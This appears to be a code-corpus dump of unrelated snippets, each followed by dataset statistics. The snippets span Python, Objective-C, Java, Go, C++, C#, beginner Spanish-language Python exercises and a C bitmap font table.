def convert(self, value) -> Schema: return Schema(type="object") def register_marshmallow_converters(builder): EmailConverter(builder=builder) StringConverter(builder=builder) BooleanConverter(builder=builder) NumberConverter(builder=builder) IntegerConverter(builder=builder) FloatConverter(builder=builder) UUIDConverter(builder=builder) DecimalConverter(builder=builder) DateConverter(builder=builder) DateTimeConverter(builder=builder) TimeConverter(builder=builder) URLConverter(builder=builder) NestedConverter(builder=builder) ListConverter(builder=builder) SchemaConverter(builder=builder) SchemaMetaConverter(builder=builder) DictConverter(builder=builder)
python
14
0.7023
78
26.7125
160
starcoderdata
// // ABRouter.h // ABFoundation // // Created by qp on 2020/12/18. // Copyright © 2020 abteam. All rights reserved. // #import NS_ASSUME_NONNULL_BEGIN @interface ABRouter : NSObject + (void)dismiss; + (void)back; + (void)pushTo:(nullable UIViewController *)to props:(nullable NSDictionary *)props; + (void)gotoWeb:(NSString *)path; + (void)gotoPageWithClassString:(NSString *)string data:(nullable NSDictionary *)data; + (void)doLogin; @end NS_ASSUME_NONNULL_END
c
10
0.725234
86
22.26087
23
starcoderdata
# -*- coding: utf-8 -*- """ This software is licensed under the License (MIT) located at https://github.com/ephreal/rollbot/Licence Please see the license for any restrictions or rights granted to you by the License. """ class Card(): """ Basic card class to allow for easier tallying of card totals. Class Variables: name (str): The name of the card when displaying to a player. description (str): An extended description if more description is needed. For example, an uno reverse card might give a brief description of what it does. value An int indicating how much the card is worth. Not necessary if it doesn't makes sense. """ def __init__(self, name, description=None, value=None): self.name = name self.description = description self.value = value def __int__(self): if self.value: return self.value return 0 def __str__(self): return self.name
python
9
0.598004
79
24.261905
42
starcoderdata
private JsonElement getVariation(Integer index) throws EvaluationException { // If the supplied index is null, then rules didn't match, and we want to return // the off variation if (index == null) { return null; } // If the index doesn't refer to a valid variation, that's an unexpected exception and we will // return the default variation else if (index >= variations.size()) { throw new EvaluationException("Invalid index"); } else { return variations.get(index); } }
java
10
0.664783
98
34.466667
15
inline
func (t *jolokiaTrait) Configure(e *Environment) (bool, error) { options, err := parseCsvMap(t.Options) if err != nil { return false, err } setDefaultJolokiaOption(options, &t.Host, "host", "*") setDefaultJolokiaOption(options, &t.DiscoveryEnabled, "discoveryEnabled", false) // Configure HTTPS by default for OpenShift if e.DetermineProfile() == v1alpha1.TraitProfileOpenShift { setDefaultJolokiaOption(options, &t.Protocol, "protocol", "https") setDefaultJolokiaOption(options, &t.CaCert, "caCert", "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt") setDefaultJolokiaOption(options, &t.ExtendedClientCheck, "extendedClientCheck", true) setDefaultJolokiaOption(options, &t.ClientPrincipal, "clientPrincipal", "cn=system:master-proxy") setDefaultJolokiaOption(options, &t.UseSslClientAuthentication, "useSslClientAuthentication", true) } return e.IntegrationInPhase(v1alpha1.IntegrationPhaseDeploying), nil }
go
10
0.776948
111
45.9
20
inline
/* Copyright (c) 2017 Microsoft Corporation Author: Nikolaj Bjorner */ #include "util/lp/lar_solver.h" #include "util/lp/nra_solver.h" #include "nlsat/nlsat_solver.h" #include "math/polynomial/polynomial.h" #include "math/polynomial/algebraic_numbers.h" #include "util/map.h" namespace nra { struct mon_eq { mon_eq(lp::var_index v, unsigned sz, lp::var_index const* vs): m_v(v), m_vs(sz, vs) {} lp::var_index m_v; svector<lp::var_index> m_vs; }; struct solver::imp { lp::lar_solver& s; reslimit& m_limit; params_ref m_params; u_map<polynomial::var> m_lp2nl; // map from lar_solver variables to nlsat::solver variables scoped_ptr<nlsat::solver> m_nlsat; scoped_ptr<scoped_anum> m_zero; vector<mon_eq> m_monomials; unsigned_vector m_monomials_lim; mutable std::unordered_map<lp::var_index, rational> m_variable_values; // current model imp(lp::lar_solver& s, reslimit& lim, params_ref const& p): s(s), m_limit(lim), m_params(p) { } bool need_check() { return !m_monomials.empty() && !check_assignments(); } void add(lp::var_index v, unsigned sz, lp::var_index const* vs) { m_monomials.push_back(mon_eq(v, sz, vs)); } void push() { m_monomials_lim.push_back(m_monomials.size()); } void pop(unsigned n) { if (n == 0) return; m_monomials.shrink(m_monomials_lim[m_monomials_lim.size() - n]); m_monomials_lim.shrink(m_monomials_lim.size() - n); } /* \brief Check if polynomials are well defined. multiply values for vs and check if they are equal to value for v. epsilon has been computed. */ bool check_assignment(mon_eq const& m) const { rational r1 = m_variable_values[m.m_v]; rational r2(1); for (auto w : m.m_vs) { r2 *= m_variable_values[w]; } return r1 == r2; } bool check_assignments() const { s.get_model(m_variable_values); for (auto const& m : m_monomials) { if (!check_assignment(m)) return false; } return true; } /** \brief one-shot nlsat check. A one shot checker is the least functionality that can enable non-linear reasoning. In addition to checking satisfiability we would also need to identify equalities in the model that should be assumed with the remaining solver. TBD: use partial model from lra_solver to prime the state of nlsat_solver. TBD: explore more incremental ways of applying nlsat (using assumptions) */ lbool check(lp::explanation_t& ex) { SASSERT(need_check()); m_nlsat = alloc(nlsat::solver, m_limit, m_params, false); m_zero = alloc(scoped_anum, am()); m_lp2nl.reset(); vector<nlsat::assumption, false> core; // add linear inequalities from lra_solver for (unsigned i = 0; i < s.constraint_count(); ++i) { add_constraint(i); } // add polynomial definitions. for (auto const& m : m_monomials) { add_monomial_eq(m); } // TBD: add variable bounds? lbool r = l_undef; try { r = m_nlsat->check(); } catch (z3_exception&) { if (m_limit.get_cancel_flag()) { r = l_undef; } else { throw; } } TRACE("arith", display(tout); m_nlsat->display(tout << r << "\n");); switch (r) { case l_true: break; case l_false: ex.reset(); m_nlsat->get_core(core); for (auto c : core) { unsigned idx = static_cast<unsigned>(static_cast<imp*>(c) - this); ex.push_back(std::pair<rational, unsigned>(rational(1), idx)); TRACE("arith", tout << "ex: " << idx << "\n";); } break; case l_undef: break; } return r; } void add_monomial_eq(mon_eq const& m) { polynomial::manager& pm = m_nlsat->pm(); svector<polynomial::var> vars; for (auto v : m.m_vs) { vars.push_back(lp2nl(v)); } polynomial::monomial_ref m1(pm.mk_monomial(vars.size(), vars.c_ptr()), pm); polynomial::monomial_ref m2(pm.mk_monomial(lp2nl(m.m_v), 1), pm); polynomial::monomial* mls[2] = { m1, m2 }; polynomial::scoped_numeral_vector coeffs(pm.m()); coeffs.push_back(mpz(1)); coeffs.push_back(mpz(-1)); polynomial::polynomial_ref p(pm.mk_polynomial(2, coeffs.c_ptr(), mls), pm); polynomial::polynomial* ps[1] = { p }; bool even[1] = { false }; nlsat::literal lit = m_nlsat->mk_ineq_literal(nlsat::atom::kind::EQ, 1, ps, even); m_nlsat->mk_clause(1, &lit, nullptr); } void add_constraint(unsigned idx) { auto& c = s.get_constraint(idx); auto& pm = m_nlsat->pm(); auto k = c.m_kind; auto rhs = c.m_right_side; auto lhs = c.get_left_side_coefficients(); auto sz = lhs.size(); svector<polynomial::var> vars; rational den = denominator(rhs); for (auto kv : lhs) { vars.push_back(lp2nl(kv.second)); den = lcm(den, denominator(kv.first)); } vector<rational> coeffs; for (auto kv : lhs) { coeffs.push_back(den * kv.first); } rhs *= den; polynomial::polynomial_ref p(pm.mk_linear(sz, coeffs.c_ptr(), vars.c_ptr(), -rhs), pm); polynomial::polynomial* ps[1] = { p }; bool is_even[1] = { false }; nlsat::literal lit; nlsat::assumption a = this + idx; switch (k) { case lp::lconstraint_kind::LE: lit = ~m_nlsat->mk_ineq_literal(nlsat::atom::kind::GT, 1, ps, is_even); break; case lp::lconstraint_kind::GE: lit = ~m_nlsat->mk_ineq_literal(nlsat::atom::kind::LT, 1, ps, is_even); break; case lp::lconstraint_kind::LT: lit = m_nlsat->mk_ineq_literal(nlsat::atom::kind::LT, 1, ps, is_even); break; case lp::lconstraint_kind::GT: lit = m_nlsat->mk_ineq_literal(nlsat::atom::kind::GT, 1, ps, is_even); break; case lp::lconstraint_kind::EQ: lit = m_nlsat->mk_ineq_literal(nlsat::atom::kind::EQ, 1, ps, is_even); break; } m_nlsat->mk_clause(1, &lit, a); } bool is_int(lp::var_index v) { return s.var_is_int(v); } polynomial::var lp2nl(lp::var_index v) { polynomial::var r; if (!m_lp2nl.find(v, r)) { r = m_nlsat->mk_var(is_int(v)); m_lp2nl.insert(v, r); TRACE("arith", tout << "v" << v << " := x" << r << "\n";); } return r; } nlsat::anum const& value(lp::var_index v) const { polynomial::var pv; if (m_lp2nl.find(v, pv)) return m_nlsat->value(pv); else return *m_zero; } nlsat::anum_manager& am() { return m_nlsat->am(); } std::ostream& display(std::ostream& out) const { for (auto m : m_monomials) { out << "v" << m.m_v << " = "; for (auto v : m.m_vs) { out << "v" << v << " "; } out << "\n"; } return out; } }; solver::solver(lp::lar_solver& s, reslimit& lim, params_ref const& p) { m_imp = alloc(imp, s, lim, p); } solver::~solver() { dealloc(m_imp); } void solver::add_monomial(lp::var_index v, unsigned sz, lp::var_index const* vs) { m_imp->add(v, sz, vs); } lbool solver::check(lp::explanation_t& ex) { return m_imp->check(ex); } bool solver::need_check() { return m_imp->need_check(); } void solver::push() { m_imp->push(); } void solver::pop(unsigned n) { m_imp->pop(n); } std::ostream& solver::display(std::ostream& out) const { return m_imp->display(out); } nlsat::anum const& solver::value(lp::var_index v) const { return m_imp->value(v); } nlsat::anum_manager& solver::am() { return m_imp->am(); } }
c++
22
0.471055
108
32.078014
282
research_code
package Controller; import common.ClassManager; import View.FilterView; import common.Constants; import org.json.simple.JSONObject; import javax.swing.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; /** * FilterController Class * Filter후 강의를 출력하는 클래스입니다. */ public class FilterController implements ActionListener { private FilterView filterView; public FilterController(FilterView realFilter) { this.filterView = realFilter; } @Override public void actionPerformed(ActionEvent e) { Object obj = e.getSource(); String operator = ((JButton)obj).getText(); switch (operator){ case Constants.SEARCH_TXT: searchFunction(); break; case Constants.EXIT_TXT: ClassManager.getInstance().getMain().comeToMain(); break; } } //필터를 정리 후 서치를 하는 메소드 private void searchFunction(){ JSONObject jsonObject = new JSONObject(); if(!filterView.getMajor().isEmpty()) jsonObject.put(Constants.MAJOR_TXT,filterView.getMajor()); if(!filterView.getCourseNum().isEmpty()) jsonObject.put(Constants.COURSENUM_TXT,filterView.getCourseNum()); if(!filterView.getClassName().isEmpty()) jsonObject.put(Constants.CLASSNAME_TXT,filterView.getClassName()); if(!filterView.getProfessor().isEmpty()) jsonObject.put(Constants.PROFESSOR_TXT,filterView.getProfessor()); if(!filterView.getGrade().isEmpty()) jsonObject.put(Constants.GRADE_TXT,filterView.getGrade()); if(!filterView.getClassNum().isEmpty()) jsonObject.put(Constants.CLASSNUM_TXT,filterView.getClassNum()); if(!filterView.getCompletion().isEmpty()) jsonObject.put(Constants.COMPLETION_TXT,filterView.getCompletion()); ClassManager.getInstance().getMain().changePanel(ClassManager.getInstance().getLectureListView(jsonObject)); } } // RealFilterController Class
java
13
0.666993
116
34.824561
57
starcoderdata
// ========================================================================== // Copyright (C) 2020 by Genetec, Inc. // All rights reserved. // May be used only in accordance with a valid Source Code License Agreement. // ========================================================================== using System; using System.Collections.Generic; using System.Text.RegularExpressions; using Genetec.Plugins.Xs.Tools.Collections; namespace CsharpSourcer.Parsers { public interface StringParser : IParser {} public class RegexParser : Parser StringParser { private readonly Regex m_regex; public RegexParser(string pattern) { m_regex = new Regex("^" + pattern, RegexOptions.Multiline | RegexOptions.CultureInvariant | RegexOptions.Compiled); } public override IEither<ParsingException, IPartialParse Parse(string input) { Match match = m_regex.Match(input); if (!match.Success) return Either.Create return Either.Create PartialParse input.Substring(match.Index + match.Length))); } public override string GetRepresentation(HashSet alreadyPrinted) => $@"{{""regex"": ""{m_regex}"""; } public class LiteralParser : Parser StringParser { private readonly string m_literal; public LiteralParser(string literal) { m_literal = literal; } public override IEither<ParsingException, IPartialParse Parse(string input) => input.StartsWith(m_literal, StringComparison.InvariantCulture) ? Either.Create PartialParse input.Substring(m_literal.Length))) : Either.Create public override string GetRepresentation(HashSet alreadyPrinted) => $@"{{""literal"": ""{m_literal}"""; } }
c#
19
0.630936
141
37.690909
55
starcoderdata
package java.text; import java.util.Currency; import java.util.Locale; public class DecimalFormatSymbols { private char zeroDigit = '0'; private char groupingSeparator = ','; private char decimalSeparator = '.'; private char perMill = '\u2030'; private char percent = '%'; private char digit = '#'; private char patternSeparator = ';'; private String infinity = "\u221e"; private String NaN = "NaN"; private char minusSign = '-'; private String currencySymbol = "$"; private String internationalCurrencySymbol = "USD"; private char monetaryDecimalSeparator = '.'; private String exponentSeparator = "E"; public DecimalFormatSymbols() {} public DecimalFormatSymbols(Locale locale) {} public char getZeroDigit() { return zeroDigit; } public void setZeroDigit(char zeroDigit) { this.zeroDigit = zeroDigit; } public char getGroupingSeparator() { return groupingSeparator; } public void setGroupingSeparator(char groupingSeparator) { this.groupingSeparator = groupingSeparator; } public char getDecimalSeparator() { return decimalSeparator; } public void setDecimalSeparator(char decimalSeparator) { this.decimalSeparator = decimalSeparator; } public char getPerMill() { return perMill; } public void setPerMill(char perMill) { this.perMill = perMill; } public char getPercent() { return percent; } public void setPercent(char percent) { this.percent = percent; } public char getDigit() { return digit; } public void setDigit(char digit) { this.digit = digit; } public char getPatternSeparator() { return patternSeparator; } public void setPatternSeparator(char patternSeparator) { this.patternSeparator = patternSeparator; } public String getInfinity() { return infinity; } public void setInfinity(String infinity) { this.infinity = infinity; } public String getNaN() { return NaN; } public void setNaN(String NaN) { this.NaN = NaN; } public char getMinusSign() { return minusSign; } public void setMinusSign(char minusSign) { this.minusSign = minusSign; } public String getCurrencySymbol() { return currencySymbol; } public void setCurrencySymbol(String currencySymbol) { this.currencySymbol = currencySymbol; } public String getInternationalCurrencySymbol() { return internationalCurrencySymbol; } public void setInternationalCurrencySymbol(String internationalCurrencySymbol) { this.internationalCurrencySymbol = internationalCurrencySymbol; } public char getMonetaryDecimalSeparator() { return monetaryDecimalSeparator; } public void setMonetaryDecimalSeparator(char monetaryDecimalSeparator) { this.monetaryDecimalSeparator = monetaryDecimalSeparator; } public String getExponentSeparator() { return exponentSeparator; } public void setExponentSeparator(String exponentSeparator) { this.exponentSeparator = exponentSeparator; } public Currency getCurrency() { throw new UnsupportedOperationException(); } public void setCurrency(Currency currency) { currencySymbol = currency.getSymbol(); internationalCurrencySymbol = currency.getCurrencyCode(); } public static Locale[] getAvailableLocales() { return new Locale[] { Locale.ENGLISH }; } public static DecimalFormatSymbols getInstance() { return new DecimalFormatSymbols(); } public static DecimalFormatSymbols getInstance(Locale locale) { return new DecimalFormatSymbols(); } }
java
9
0.664252
84
23.624204
157
starcoderdata
import React, {useContext, useState} from "react"; import styles from "./Dashboard.module.css"; import {UserContext} from "../../context/UserContext"; export const Profile = () => { const {loggedIn, setLoggedIn} = useContext(UserContext); const [changeState, setChangeState] = useState({changed: false}) const submitHandler = (e) => { e.preventDefault() console.log("lo") } const inputHandler = (e) => { setChangeState({changed: true}); } return ( <div className={styles.dashMain}> <form onSubmit={submitHandler}> <div className={styles.formHeadingDiv}> Setting <button className={changeState.changed ? "" : "muted-button"} type='submit' disabled={!changeState.changed}>Save <label htmlFor="image"> Profile Image <input onChange={inputHandler} type="text" name='title' required placeholder={'Link with "http://" for image'} value={loggedIn.user.image}/> <label htmlFor="username"> username <input onChange={inputHandler} type="text" name='username' required value={loggedIn.user.username}/> <label htmlFor="email"> Email <input onChange={inputHandler} type='email' name='email' required value={loggedIn.user.email}/> <label htmlFor="bio"> Bio <input onChange={inputHandler} type='text' name='bio' required value={loggedIn.user.bio}/> ) }
javascript
11
0.542335
160
38.304348
46
starcoderdata
<?php namespace MichaelDzjap\TwoFactorAuth\Exceptions; use Exception; class TokenAlreadyProcessedException extends Exception { // }
php
3
0.808824
64
17.545455
11
starcoderdata
import numpy as np import skimage.io import skimage.morphology import skimage.filters import skimage.segmentation import skimage.feature import scipy.ndimage import pandas as pd from act.image import projection, generate_flatfield, correct_drift import pytest # Set up sample arrays ones_im = np.ones((5, 5)).astype('uint16') threes_im = (np.ones((5, 5)) * 3).astype('uint16') fives_im = (np.ones((5, 5)) * 5).astype('uint16') tens_im = (np.ones((5, 5)) * 10).astype('uint16') field_im = skimage.morphology.disk(2) + 1 flat_im = ((tens_im - ones_im) * np.mean(field_im - ones_im)) / \ (field_im - ones_im) def test_projection(): im_array = [threes_im, fives_im, tens_im] assert (fives_im + 1 == projection(im_array, mode='mean', median_filt=False)).all() assert (fives_im == projection(im_array, mode='median', median_filt=False)).all() assert (threes_im == projection(im_array, mode='min', median_filt=False)).all() assert (tens_im == projection(im_array, mode='max', median_filt=False)).all() def test_generate_flatfield(): assert (flat_im == generate_flatfield(tens_im, ones_im, field_im, median_filt=False)).all() # def test_correct_drift(): # shift = (-1, 1) # shifted_ones_im = scipy.ndimage.fourier_shift(ones_im, shift) # ones_im_list = [ones_im, shifted_ones_im] # aligned_ones_ims = [np.append(ones_im, np.zeros((1, 5)), axis=0)[1:,:], shifted_ones_im] # assert (correct_drift(ones_im_list) == aligned_ones_ims).all()
python
12
0.594771
94
35.586957
46
starcoderdata
private byte[] checkStatusAndReadResponse(String path, HttpResponse response, int... expectedStatus) throws IOException { // It's important to read out the entity ByteArrayOutputStream bos = new ByteArrayOutputStream(); response.getEntity().writeTo(bos); int status = response.getStatusLine().getStatusCode(); Arrays.sort(expectedStatus); if (Arrays.binarySearch(expectedStatus, status) < 0) { System.out.println(new String(bos.toByteArray())); throw new RuntimeException("Unexpected response status. Got " + status + ", expected (one of) " + toString(expectedStatus) + ". Request path: " + path); } return bos.toByteArray(); }
java
14
0.634921
109
38.842105
19
inline
#-------------------------------------------------------------------------- #Problema01 nombre = input ("Introduce tu nombre: ") print ("¡Hola " + nombre + "!") #---------------------------------------------------------------------------- #Problema02 num = int (input("Cuándos shows musicales ha visto en el último año? ")) if num >=3: print("True") else: print("False") print ("El usuario ha visto ", num , "shows musicales") #---------------------------------------------------------------------------- #Problema03 #f=sirve para concatenar variables #int=numero entero, no colocar porque es decimal num = float(input ("Ingresa un número con decimales: ")) ent = int(input ("Ingrese un numero entero ")) sum = num + ent print ("El resultado de la suma es: ", sum) #---------------------------------------------------------------------------- #Problema04 payaso = 112 muñeca = 75 pay = int(input("Ingrese el número de payasos vendidos: ")) #Float: Representa decimales mun = int(input("Ingrese el número de muñecas vendidas: ")) ventas = pay + mun sum = payaso + muñeca pesopay = payaso * pay pesomun = muñeca * mun print("El numero de payasos y muñecas vendidas es: ", ventas) print(f"El peso total del paquete es: " , pesopay + pesomun) #---------------------------------------------------------------------------- #Problema05 n= int(input("Cuantos números ingresará?: ")) x=0 for i in range(1,n+1): print (i) x=n*(n+1)/2 print("La suma es: ",x) #---------------------------------------------------------------------------- #Problema06 edad = int(input("Ingrese su edad: ")) art = int(input("Ingrese cantidad de articulos comprados: ")) if edad >= 18 and art >= 1: print ("True") else: print ("False") print ("El usuario tiene: ", edad, "años y compró ", art, "articulos") #---------------------------------------------------------------------------- #Problema07 num1 = int(input("Ingrese 1er número: ")) num2 = int(input("Ingrese 2do número: ")) if num1 != num2: if num1 < num2: print (num2) else: print (num1) pass #esta orden le dice a python que no debe hacer nada else: print ("Ingresar número diferente") #---------------------------------------------------------------------------- #Problema08 num1 = float(input("Ingrese 1er número: ")) num2 = float(input("Divisor: ")) if num2 == 0: print ("Error") else: print ("La división es: ", num1/num2) #---------------------------------------------------------------------------- #Problema09 letra = input("Ingrese letra: ") vocales = ['a','e','i','o','u'] if (len(letra)==1): if letra in vocales: print ("Es vocal") else: print ("No es vocal") pass else: print ("Datos no puede procesar") #---------------------------------------------------------------------------- #Problema10 (NO ESTA BIÉN) año = int(input("Ingrese el año: ")) if año % 400 == 0: print ("El año", año, "no es bisiesto") else: if año % 100 == 0: print ("El año", año, "no es bisiesto") else: if año % 4 == 0: print ("El año", año, "si es bisiesto") print ('El año si es bisiesto ', (año)) #---------------------------------------------------------------------------- #Problema11 edad = int(input("Que edad tienes?: ")) if edad < 4: print ("Entrada gratis") if edad >= 4 and edad < 18: print ("Ud. debe pagar 5 soles") if edad >= 18: print ("Ud. debe pagar 10 soles") #---------------------------------------------------------------------------- #Problema12 list = ["Mi", "mami", "es", "muy", "linda"] list.reverse() print(list) #---------------------------------------------------------------------------- #Prolema13 (NO ESTA BIEN) lista = ['Rojo', 'Verde', 'Blanco', 'Negro', 'Rosa', 'Amarillo'] print ("La lista original es: ", lista) del(lista)[0] del(lista)[4] del(lista)[5] print(lista) #---------------------------------------------------------------------------- #Prolema14
python
13
0.436206
88
27.671429
140
starcoderdata
private void executeInstruction(ActuatorInstruction instruction) { if (instruction.getInstruction() == Instructions.MOTOR) { //Throttle can only be applied if engine is on. if (engineStatus == engine.ON) { setMotorPercentage(instruction.getFractionalPercentage()); percentageThrottle = instruction.getPercentage(); } } else if (instruction.getInstruction() == Instructions.BRAKE) { setBrakePercentage(instruction.getFractionalPercentage()); percentageBrake = instruction.getPercentage(); } else if (instruction.getInstruction() == Instructions.TURN_OFF_IGNITION) { setMotorPercentage(0); percentageThrottle = 0; engineStatus = engine.OFF; } else if (instruction.getInstruction() == Instructions.TURN_ON_IGNITION) { //Assume when turning engine on, zero throttle results. setMotorPercentage(0); percentageThrottle = 0; engineStatus = engine.ON; } }
java
12
0.625
84
40.269231
26
inline
#ifdef FONT_8x13BK // -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-80-koi8-1 uint16_t PROGMEM font_8x13bk[158][8] = { {0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000}, // {0x0000,0x0000,0x0000,0x0fec,0x0fec,0x0000,0x0000,0x0000}, // ! {0x0000,0x0f00,0x0f00,0x0000,0x0f00,0x0f00,0x0000,0x0000}, // " {0x01b0,0x07fc,0x07fc,0x01b0,0x07fc,0x07fc,0x01b0,0x0000}, // # {0x0388,0x07cc,0x04c4,0x0ffe,0x0464,0x067c,0x0238,0x0000}, // $ {0x0e0c,0x0a1c,0x0e70,0x01e0,0x039c,0x0e14,0x0c1c,0x0000}, // % {0x0738,0x0ffc,0x08c4,0x08c4,0x0ffc,0x073c,0x0024,0x0000}, // & {0x0000,0x0000,0x0000,0x0f00,0x0f00,0x0000,0x0000,0x0000}, // ' {0x0000,0x0000,0x00e0,0x03f8,0x071c,0x0c06,0x0802,0x0000}, // ( {0x0000,0x0802,0x0c06,0x071c,0x03f8,0x00e0,0x0000,0x0000}, // ) {0x0248,0x0358,0x01f0,0x07bc,0x01f0,0x0358,0x0248,0x0000}, // * {0x0000,0x00c0,0x00c0,0x03f0,0x03f0,0x00c0,0x00c0,0x0000}, // + {0x0000,0x0000,0x0022,0x003e,0x003c,0x0038,0x0000,0x0000}, // , {0x00c0,0x00c0,0x00c0,0x00c0,0x00c0,0x00c0,0x00c0,0x0000}, // - {0x0000,0x0000,0x0008,0x001c,0x001c,0x0008,0x0000,0x0000}, // . {0x001c,0x0038,0x0060,0x00c0,0x0180,0x0700,0x0e00,0x0000}, // / {0x03f0,0x07f8,0x0c0c,0x0804,0x0c0c,0x07f8,0x03f0,0x0000}, // 0 {0x0000,0x0204,0x0604,0x0ffc,0x0ffc,0x0004,0x0004,0x0000}, // 1 {0x060c,0x0e1c,0x0834,0x0864,0x08c4,0x0f84,0x0704,0x0000}, // 2 {0x0808,0x080c,0x0884,0x0984,0x0b84,0x0efc,0x0c78,0x0000}, // 3 {0x00e0,0x01e0,0x0320,0x0620,0x0ffc,0x0ffc,0x0020,0x0000}, // 4 {0x0f88,0x0f8c,0x0984,0x0904,0x0904,0x09fc,0x08f8,0x0000}, // 5 {0x03f8,0x07fc,0x0ccc,0x0884,0x0884,0x08fc,0x0078,0x0000}, // 6 {0x0800,0x0800,0x083c,0x08fc,0x09c0,0x0f00,0x0e00,0x0000}, // 7 {0x0778,0x0ffc,0x0884,0x0884,0x0884,0x0ffc,0x0778,0x0000}, // 8 {0x0780,0x0fc4,0x0844,0x0844,0x0ccc,0x0ff8,0x07f0,0x0000}, // 9 {0x0000,0x0000,0x0108,0x039c,0x039c,0x0108,0x0000,0x0000}, // : {0x0000,0x0000,0x0122,0x03be,0x03bc,0x0138,0x0000,0x0000}, // ; {0x0000,0x0040,0x00e0,0x01b0,0x0318,0x060c,0x0404,0x0000}, // < {0x0000,0x0198,0x0198,0x0198,0x0198,0x0198,0x0198,0x0000}, // = {0x0000,0x0404,0x060c,0x0318,0x01b0,0x00e0,0x0040,0x0000}, // > {0x0600,0x0e00,0x0800,0x086c,0x08ec,0x0f80,0x0700,0x0000}, // ? {0x03f8,0x07fc,0x060c,0x06f4,0x0794,0x0794,0x03f4,0x0000}, // @ {0x03fc,0x07fc,0x0c40,0x0c40,0x0c40,0x07fc,0x03fc,0x0000}, // A {0x0804,0x0ffc,0x0ffc,0x0884,0x0884,0x0ffc,0x0778,0x0000}, // B {0x07f8,0x0ffc,0x0c0c,0x0804,0x0804,0x0e1c,0x0618,0x0000}, // C {0x0804,0x0ffc,0x0ffc,0x0804,0x0804,0x0ffc,0x07f8,0x0000}, // D {0x0ffc,0x0ffc,0x0884,0x0884,0x0884,0x0804,0x0c0c,0x0000}, // E {0x0ffc,0x0ffc,0x0880,0x0880,0x0880,0x0800,0x0c00,0x0000}, // F {0x07f8,0x0ffc,0x0804,0x0804,0x0824,0x0e3c,0x0638,0x0000}, // G {0x0ffc,0x0ffc,0x0080,0x0080,0x0080,0x0ffc,0x0ffc,0x0000}, // H {0x0000,0x0000,0x0804,0x0ffc,0x0ffc,0x0804,0x0000,0x0000}, // I {0x0018,0x001c,0x0004,0x0004,0x0804,0x0ffc,0x0ff8,0x0000}, // J {0x0ffc,0x0ffc,0x00c0,0x01e0,0x0330,0x0e1c,0x0c0c,0x0000}, // K {0x0ffc,0x0ffc,0x0004,0x0004,0x0004,0x0004,0x000c,0x0000}, // L {0x0ffc,0x0ffc,0x0300,0x0180,0x0300,0x0ffc,0x0ffc,0x0000}, // M {0x0ffc,0x0ffc,0x0380,0x00c0,0x0070,0x0ffc,0x0ffc,0x0000}, // N {0x07f8,0x0ffc,0x0804,0x0804,0x0804,0x0ffc,0x07f8,0x0000}, // O {0x0ffc,0x0ffc,0x0840,0x0840,0x0840,0x0fc0,0x0780,0x0000}, // P {0x07f8,0x0ffc,0x0804,0x080c,0x080c,0x0ffe,0x07fa,0x0000}, // Q {0x0ffc,0x0ffc,0x08c0,0x08c0,0x08f0,0x0fbc,0x070c,0x0000}, // R {0x0718,0x0f9c,0x0884,0x0884,0x0884,0x0efc,0x0678,0x0000}, // S {0x0000,0x0800,0x0800,0x0ffc,0x0ffc,0x0800,0x0800,0x0000}, // T {0x0ff8,0x0ffc,0x0004,0x0004,0x0004,0x0ffc,0x0ff8,0x0000}, // U {0x0f00,0x0fe0,0x0078,0x001c,0x0078,0x0fe0,0x0f00,0x0000}, // V {0x0ff8,0x0ffc,0x000c,0x0038,0x000c,0x0ffc,0x0ff8,0x0000}, // W {0x0c0c,0x0f3c,0x03f0,0x00c0,0x03f0,0x0f3c,0x0c0c,0x0000}, // X {0x0000,0x0e00,0x0f80,0x01fc,0x01fc,0x0f80,0x0e00,0x0000}, // Y {0x081c,0x083c,0x0864,0x08c4,0x0984,0x0f04,0x0e04,0x0000}, // Z {0x0000,0x0000,0x0ffe,0x0ffe,0x0802,0x0802,0x0802,0x0000}, // [ {0x0e00,0x0700,0x0180,0x00c0,0x0060,0x0038,0x001c,0x0000}, // "\" {0x0000,0x0802,0x0802,0x0802,0x0ffe,0x0ffe,0x0000,0x0000}, // ] {0x0100,0x0300,0x0600,0x0c00,0x0600,0x0300,0x0100,0x0000}, // ^ {0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0002,0x0000}, // _ {0x0000,0x0000,0x0800,0x0c00,0x0400,0x0000,0x0000,0x0000}, // ` {0x0038,0x017c,0x0144,0x0144,0x014c,0x01fc,0x00fc,0x0000}, // a {0x0ffc,0x0ffc,0x018c,0x0104,0x0104,0x01fc,0x00f8,0x0000}, // b {0x00f8,0x01fc,0x018c,0x0104,0x0104,0x018c,0x0088,0x0000}, // c {0x00f8,0x01fc,0x0104,0x0104,0x018c,0x0ffc,0x0ffc,0x0000}, // d {0x00f8,0x01fc,0x0124,0x0124,0x0124,0x01ec,0x00e8,0x0000}, // e {0x0040,0x07fc,0x0ffc,0x0840,0x0840,0x0c40,0x0400,0x0000}, // f {0x00ea,0x01ff,0x011d,0x011d,0x01f5,0x01e7,0x0102,0x0000}, // g {0x0ffc,0x0ffc,0x0180,0x0100,0x0100,0x01fc,0x00fc,0x0000}, // h {0x0000,0x0000,0x0084,0x06fc,0x06fc,0x0004,0x0000,0x0000}, // i {0x0006,0x0007,0x0001,0x0001,0x0081,0x06ff,0x06fe,0x0000}, // j {0x0ffc,0x0ffc,0x0060,0x00f0,0x0198,0x010c,0x0004,0x0000}, // k {0x0000,0x0000,0x0804,0x0ffc,0x0ffc,0x0004,0x0000,0x0000}, // l {0x00fc,0x01fc,0x0180,0x00e0,0x0180,0x01fc,0x00fc,0x0000}, // m {0x01fc,0x01fc,0x0180,0x0100,0x0100,0x01fc,0x00fc,0x0000}, // n {0x00f8,0x01fc,0x0104,0x0104,0x0104,0x01fc,0x00f8,0x0000}, // o {0x01ff,0x01ff,0x018c,0x0104,0x0104,0x01fc,0x00f8,0x0000}, // p {0x00f8,0x01fc,0x0104,0x0104,0x018c,0x01ff,0x01ff,0x0000}, // q {0x01fc,0x01fc,0x0180,0x0100,0x0100,0x0180,0x0080,0x0000}, // r {0x0088,0x01cc,0x0164,0x0164,0x0164,0x01bc,0x0098,0x0000}, // s {0x0080,0x0ff8,0x0ffc,0x0084,0x0084,0x008c,0x0008,0x0000}, // t {0x01f8,0x01fc,0x0004,0x0004,0x000c,0x01fc,0x01fc,0x0000}, // u {0x01e0,0x01f8,0x001c,0x0004,0x001c,0x01f8,0x01e0,0x0000}, // v 